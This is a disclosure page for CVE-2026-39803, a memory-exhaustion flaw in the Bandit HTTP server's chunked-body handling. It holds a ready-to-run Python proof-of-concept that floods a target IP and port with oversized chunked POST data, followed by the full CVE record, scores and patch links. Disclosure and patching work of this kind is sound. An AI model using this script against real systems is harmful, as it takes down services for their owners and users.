CVE-2026-39803

import socket import sys def send_chunked_attack(host, port, path="/", chunk_size=1024*100, chunk_count=10000): """ PoC for CVE-2026-39803 Sends a large chunked POST request to exhaust memory on the target server. """ payload = b"A" * chunk_size try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) # Send HTTP headers with Transfer-Encoding: chunked headers = f"POST {path} HTTP/1.1\r\n" headers += f"Host: {host}\r\n" headers += "Accept: */*\r\n" headers += "Transfer-Encoding: chunked\r\n" headers += "\r\n" s.send(headers.encode()) # Send malicious chunks for i in range(chunk_count): # Send chunk size in hex s.send(f"{hex(chunk_size)[2:]}\r\n".encode()) # Send chunk data s.send(payload) s.send("\r\n".encode()) print(f"Sent chunk {i+1}/{chunk_count}") # Send final chunk to terminate s.send(b"0\r\n\r\n") print("Attack payload sent. Server may run out of memory.") except Exception as e: print(f"Error: {e}") finally: s.close() if __name__ == "__main__": # Usage: python script.py <target_ip> <port> target_ip = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1" target_port = int(sys.argv[2]) if len(sys.argv) > 2 else 4000 send_chunked_attack(target_ip, target_port)

{"cve": {"id": "CVE-2026-39803", "sourceIdentifier": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "published": "2026-05-13T14:17:32.633", "lastModified": "2026-05-21T15:23:12.223", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Allocation of Resources Without Limits or Throttling vulnerability in mtrudel bandit allows unauthenticated remote denial of service via memory exhaustion.\n\nThe chunked clause of 'Elixir.Bandit.HTTP1.Socket':read_data/2 in lib/bandit/http1/socket.ex ignores the caller-supplied :length option when reading HTTP/1 chunked request bodies. Instead of capping the accumulated body at the configured limit (e.g. Plug.Parsers' default 8 MB), do_read_chunked_data!/5 buffers every received chunk into an iolist unconditionally and materializes the entire body as a single binary. The function always returns {:ok, body, ...}, so callers cannot interpose a 413 response.\n\nBecause Plug.Parsers runs before routing and authentication in the standard Phoenix endpoint, an unauthenticated attacker needs no valid route or credentials. Sending a single Transfer-Encoding: chunked POST request with an arbitrarily large body to any path causes the BEAM process to exhaust available memory and be terminated by the OS OOM killer.\n\nThe content-length path in the same function correctly enforces the limit and is not affected.\n\nThis issue affects bandit: from 1.4.0 before 1.11.1."}], "metrics": {"cvssMetricV40": [{"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mtrudel:bandit:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.4.0", "versionEndExcluding": "1.11.1", "matchCriteriaId": "74E94987-90D9-47B7-9473-24ABB26B8EB7"}]}]}], "references": [{"url": "https://cna.erlef.org/cves/CVE-2026-39803.html", "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/mtrudel/bandit/commit/ae3520dfdbfab115c638f8c7f6f6b805db34e1ab", "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "tags": ["Patch"]}, {"url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-9q9q-324x-93r2", "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://osv.dev/vulnerability/EEF-CVE-2026-39803", "source": "6b3ad84c-e1a6-4bf7-a703-f496b71e49db", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-9q9q-324x-93r2", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}